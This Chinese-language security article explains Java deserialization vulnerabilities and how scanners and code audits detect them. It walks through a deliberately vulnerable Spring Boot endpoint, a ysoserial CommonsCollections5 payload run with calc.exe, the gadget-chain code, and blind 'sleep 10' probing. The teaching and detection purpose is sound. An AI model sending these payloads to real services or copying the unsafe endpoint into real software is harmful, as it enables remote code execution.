摘要:在本文中將先介紹java反序列化漏洞的原理,然后在此基礎上介紹安全工具如何檢測、掃描此類漏洞。
本文分享自華為雲社區《java反序列化漏洞及其檢測》,作者: alpha1e0。
1 java反序列化簡介
java反序列化是近些年安全業界研究的重點領域之一,在Apache Commons Collections 、JBoss 、WebLogic 等常見容器、庫中均發現有該類漏洞,而且該類型漏洞容易利用,造成的破壞很大,因此影響廣泛。
在本文中將先介紹java反序列化漏洞的原理,然后在此基礎上介紹安全工具如何檢測、掃描此類漏洞。
1.1 什么是反序列化
Java 序列化是指把 Java 對象轉換為字節序列的過程,序列化后的字節數據可以保存在文件、數據庫中;而Java 反序列化是指把字節序列恢復為 Java 對象的過程。如下圖所示:
序列化和反序列化通過ObjectInputStream.readObject()和ObjectOutputStream.writeObject()方法實現。
在java中任何類如果想要序列化必須實現java.io.Serializable接口,例如:
public class Hello implements java.io.Serializable { String name; }
java.io.Serializable其實是一個空接口,在java中該接口的唯一作用是對一個類做一個 標記 讓jre確定這個類是可以序列化的。
同時java中支持在類中定義如下函數:
private void writeObject(java.io.ObjectOutputStream out) throws IOException private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException;
這兩個函數不是java.io.Serializable的接口函數,而是約定的函數,如果一個類實現了這兩個函數,那么在序列化和反序列化的時候ObjectInputStream.readObject()和ObjectOutputStream.writeObject()會主動調用這兩個函數。這也是反序列化產生的根本原因
例如:
public class Hello implements java.io.Serializable { String name; private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { Runtime.getRuntime().exec(name); } }
該類在反序列化的時候會執行命令,我們構造一個序列化的對象,name為惡意命令,那么在反序列化的時候就會執行惡意命令。
在反序列化的過程中,攻擊者僅能夠控制“數據”,無法控制如何執行,因此必須借助被攻擊應用中的具體場景來實現攻擊目的,例如上例中存在一個執行命令的可以序列化的類(Hello),利用該類的readObject函數中的命令執行場景來實現攻擊
1.2 反序列化漏洞示例復現
在這里我們構造一個有漏洞的靶場進行漏洞復現測試:使用spring-boot編寫一個可以接收http數據並反序列化的應用程序。
使用 https://start.spring.io/ 生成一個spring-boot應用,選擇Maven Project、java8
下載到本地,導入IDE,修改 pom.xml 加入 Apache Commons Collections 3.1 依賴(該版本存在反序列化漏洞)
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
修改 DemoApplication.java 為如下代碼
package com.example.demo; import java.io.IOException; import java.io.ObjectInputStream; import javax.servlet.http.HttpServletRequest; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.GetMapping; @SpringBootApplication @RestController public class DemoApplication { public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); } @GetMapping("/hello") public String hello() { return "hello world"; } // 反序列化接口 @PostMapping("/rmi") public String rmi(HttpServletRequest request) { try { ObjectInputStream ois = new ObjectInputStream(request.getInputStream()); Object obj = (Object) ois.readObject(); return "unmarshal " + obj.getClass().getName() + " ok"; } catch (ClassNotFoundException | IOException e) { return "unmarshal failed"; } } }
此時我們就完成了一個有 Apache Commons Collections 漏洞的驗證靶場,啟動該靶場應用
我們使用ysoserial 生成攻擊payload:
java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "calc.exe" > poc
然后使用httpie 發送攻擊payload(poc)
http post http://127.0.0.1:8080/rmi < poc
這時候就可以看到poc中的命令執行了
1.3 反序列化漏洞解析
在1.2 的示例中我們使用了 ysoserial 的 CommonsCollections5 這個payload,本節我們對此poc進行分析
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( // 執行“鏈條”該類的transform會調用transformer使用反射執行命令 new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), // 這里是我們輸入的命令 calc.exe new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 該類的get接口如果輸入的key找不到會調用transform函數觸發命令執行 TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); // 該類的toString會最終調用lazyMap.get BadAttributeValueExpException val = new BadAttributeValueExpException(null); // 最終反序列化的類,readObject會調用entry.toString Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return val; }
可以最終反序列化的對象為 javax.management.BadAttributeValueExpException ,在該類提供了 readObject 方法,在其中有問題的地方為
val = valObj.toString();
這里的 valObj 為 TiedMapEntry(lazyMap, “foo”) ,該類的toString方法
public String toString() { return this.getKey() + "=" + this.getValue(); }
其中 this.getValue 為
public Object getValue() { return this.map.get(this.key); }
而 this.map 為 lazyMap = LazyMap.decorate(innerMap, transformerChain),在 lazyMap 中
public Object get(Object key) { if (!super.map.containsKey(key)) { // 當找不到key的時候調用transform Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
在其中看到,沒有找到key的時候,調用了 this.factory.transform(key)
而this.factory為我們構造的包含payload的執行鏈 transformerChain 該transformer會最終通過反射執行命令。
2 java反序列化漏洞檢測
在1中的原理介紹中,我們可以看到,反序列化漏洞需要依賴執行鏈來完成攻擊payload執行。由於反序列化漏洞的特性,在檢測的時候漏洞掃描工具一般聚焦已知漏洞的檢測,而未知漏洞的檢測,安全工具能力非常有限,一般需要專業人員通過安全審計、代碼審計等方式發現。
java反序列化漏洞依賴於兩個因素:
- 應用是否有反序列化接口
- 應用中是否包含有漏洞的組件
因此對應的漏洞掃描工具也需要根據這兩個因素進行檢測。
2.1 白盒工具檢測
白盒代碼審計工具,可通過在調用鏈中查找是否有發序列化的操作:
- 調用鏈的入口不同框架是不同的,例如在1.2例子中調用鏈的入口為spring-boot的controller。
- 調用鏈中一旦發現有發序列化操作ObjectInputStream.readObject()則該接口存在序列化操作
但僅僅依靠以上信息不足以判斷是否存在漏洞,還需要判斷代碼中是否有存在*執行鏈**的三方依賴。在java中,一般通過分析 pox.xml build.gradle 文件來分析是否包含有漏洞的組件。
2.2 黑盒漏洞掃描器檢測
web漏洞掃描器檢測原理和白盒工具不一樣。
首先漏洞掃描器要解決的是識別出反序列化的請求,在這里需要注意的是web漏洞掃描是無法通過爬蟲方式直接發現反序列化接口的,因此往往需要配合其他web漏洞掃描器的組件(例如代理組件)來識別反序列化接口,如下圖所示
如今web漏洞掃描器都提供了代理組件來發現應用的http請求,爬蟲組件可通過前台頁面觸發請求進入代理組件;但在API場景下,還是需要測試人員進行API調用該操作才能夠產生http請求數據。
在截獲到http請求數據后,代理組件可以通過兩種方式判斷一個請求是否是序列化請求:
- 通過http請求的Content-Type,具體來說ContentType: application/x-java-serialized-object 是序列化請求的請求頭
- 檢查請求數據的開頭是否是 0xaced,有時候序列化請求不存在正確的content-type,此時需要根據數據來判斷是否是序列化請求
在確定一個接口是序列化接口的時候會漏洞掃描器會發送探測payload判斷接口是否有反序列化漏洞,這里的攻擊payload類似於1.2節中使用的ysoserial 工具,由於絕大多數情況下不可能看到回顯(http返回數據沒有攻擊執行結果),因此只能進行盲注,即發送 sleep 10 這樣的命令,根據響應時間判斷是否有漏洞。
文末福利:華為雲漏洞掃描服務VSS 基礎版限時免費體驗>>>